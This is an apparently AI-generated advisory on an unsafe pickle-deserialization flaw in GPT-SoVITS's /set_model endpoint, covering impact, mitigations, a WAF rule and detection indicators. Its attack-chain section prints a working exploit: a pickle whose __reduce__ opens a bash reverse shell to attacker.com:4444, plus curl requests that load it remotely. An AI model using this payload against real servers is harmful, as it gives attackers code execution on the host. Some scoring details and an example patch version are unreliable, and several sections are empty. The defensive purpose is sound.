CVE-2026-140281 — RVC-Boss GPT-SoVITS (20250606v2pro) — CWE-502
GPT-SoVITS through 20250606v2pro contains an unsafe deserialization vulnerability in the api.py /set_model endpoint that allows unauthenticated attackers to load arbitrary model checkpoints. Attackers can set gpt_model_path or sovits_model_path to a crafted pickle file readable by the server, triggering torch.load with weights_only=False to execute code as the server process user.
GPT-SoVITS through 20250606v2pro contains an unsafe deserialization vulnerability in the api.py /set_model endpoint that allows unauthenticated attackers to load arbitrary model checkpoints. Attackers can set gpt_model_path or sovits_model_path to a crafted pickle file readable by the server, triggering torch.load with weights_only=False to execute code as the server process user.
🎯 What is this vulnerability?
CWE‑502 – Deserialization of Untrusted Data
The api.py /set_model endpoint of RVC‑Boss:GPT‑SoVITS (20250606v2pro) accepts two JSON parameters – gpt_model_path and sovits_model_path.
The server blindly passes the supplied path to torch.load(..., weights_only=False) without:
1. Authentication/Authorization – the endpoint is publicly reachable; no API key or session check is performed.
2. Input validation – the path is not verified to be a local file, a known model, or to be free of malicious payloads.
3. Safe deserialization – torch.load uses Python’s pickle module, which will execute arbitrary code embedded in the pickle payload when weights_only=False.
Thus an unauthenticated attacker can supply a URL or local path to a malicious pickle file. When the server calls torch.load, the pickle’s __reduce__ or __setstate__ methods are executed under the server’s process user, giving the attacker full code‑execution privileges on the host.
The CVSS vector (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) reflects that the attack is network‑based, high effort, passive, no user interaction, and yields complete confidentiality, integrity, and availability compromise.
⚡ Attack Chain
NOTE: The exact URI /set_model and the parameter names are taken directly from the CVE description. If an implementation uses a different route or payload structure, the same unsafe‑deserialization logic applies; the example below is illustrative for the documented endpoint.1. Discovery & Reconnaissance
| Step | Technique | Tool / Command |
|---|---|---|
| a. Service fingerprinting | Identify the running instance and its version | curl -I http://target/api/version (or any public endpoint that returns a version string) |
| b. Endpoint enumeration | Discover /set_model | dirsearch -u http://target -e py,php,js,json or nikto -h http://target |
| c. Parameter discovery | Verify JSON payload accepted | curl -X POST http://target/set_model -H "Content-Type: application/json" -d '{}' → expect 400 Bad Request with a JSON schema hint |
2. Exploitation
1. Craft a malicious pickle that executes arbitrary code when loaded.
# malicious.py
import pickle, os, sys
class Exploit(object):
def __reduce__(self):
# Execute a reverse shell or any command
return (os.system, ("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'",))
with open('malicious.pkl', 'wb') as f:
pickle.dump(Exploit(), f)The pickle file can be hosted on any HTTP server the target can reach.
2. Upload or host the pickle (e.g., http://attacker.com/malicious.pkl).
3. Send the exploit payload to the vulnerable endpoint:
curl -X POST http://target/set_model \
-H "Content-Type: application/json" \
-d '{
"gpt_model_path": "http://attacker.com/malicious.pkl",
"sovits_model_path": ""
}'If the server resolves the URL, it will download the pickle and call torch.load(..., weights_only=False), triggering the code in Exploit.__reduce__.
4. Verify execution – check the attacker’s listening reverse shell, or inspect server logs for the executed command.
3. Post‑Exploitation
- Full RCE – The attacker now runs commands as the server process user (often
rootor a privileged service account). - Privilege Escalation – If the process user has elevated privileges, the attacker can install persistence mechanisms, add new users, or modify system configuration.
- Data Exfiltration – Read sensitive files, dump databases, or exfiltrate model checkpoints.
- Lateral Movement – Use the compromised host as a pivot to other machines on the network.
- Loss of proprietary model data or intellectual property.
- Compromise of user data if the service interacts with user‑uploaded content.
- Potential regulatory violations (GDPR, HIPAA) if personal data is exposed.
- Service downtime and loss of customer trust.
- RVC‑Boss:GPT‑SoVITS 20250606v2pro (and any earlier releases that expose
/set_modelwithout authentication). - Upgrade to the next release (e.g.,
20250607v1proor later) where the/set_modelendpoint requires a valid API key and validates the model path against a whitelist of local files. - If an upgrade is not immediately possible, apply the following mitigations.
🌍 Real World Impact
| Impact | CVSS Sub‑Score | Explanation |
|---|---|---|
| Confidentiality | 9.0 | Arbitrary code execution allows reading any file the server process can access. |
| Integrity | 9.0 | The attacker can modify files, overwrite models, or tamper with logs. |
| Availability | 9.0 | The attacker can crash the service, delete models, or launch DoS attacks. |
| Privilege Escalation | 9.0 | If the server runs as a privileged user, the attacker gains system‑level access. |
Practical consequences
🛡️ Remediation & Mitigation
Affected Versions
Patch / Upgrade
Workarounds
| Mitigation | Implementation |
|---|---|
| Disable the endpoint | Remove or comment out the /set_model route in api.py or block it via the web server (nginx/apache deny). |
| Require authentication | Add an API key or JWT check before processing the request. |
| Validate the model path | Ensure the supplied path is a relative path within a pre‑defined models directory; reject URLs or absolute paths. |
| Use safe deserialization | Replace torch.load(..., weights_only=False) with torch.load(..., weights_only=True) or a custom loader that forbids arbitrary code execution. |
| WAF/ModSecurity rule | Block requests containing pickle‑specific byte patterns or base64‑encoded payloads. Example rule:
SecRule REQUEST_URI "@beginsWith /set_model" \
"chain,phase:2,block,msg:'Disallow pickle payloads'"
SecRule REQUEST_BODY "@rx \x80\x03" \
"t:none,log,deny,status:403"|
| Network segmentation | Restrict the API’s network interface to internal traffic only; expose it only to trusted clients. |
Detection
| Indicator | Log Pattern | IoC |
|---|---|---|
| Unusual POST to /set_model | POST /set_model 200 | set_model endpoint usage |
| torch.load errors | RuntimeError: invalid load key, '...' | Malformed pickle |
| Unexpected command execution | os.system or subprocess logs in application logs | Execution of shell commands |
| Reverse shell connections | Incoming TCP connection to attacker host on port 4444 | attacker.com:4444 |
Sample log snippet
2026-11-30 12:34:56,789 INFO [api] POST /set_model 200
2026-11-30 12:34:56,790 ERROR [torch] RuntimeError: invalid load key, '\x80'⚠️ Urgency
Recommendation:
[🤖 CVE Professor AI Security Engine]
FOFA Query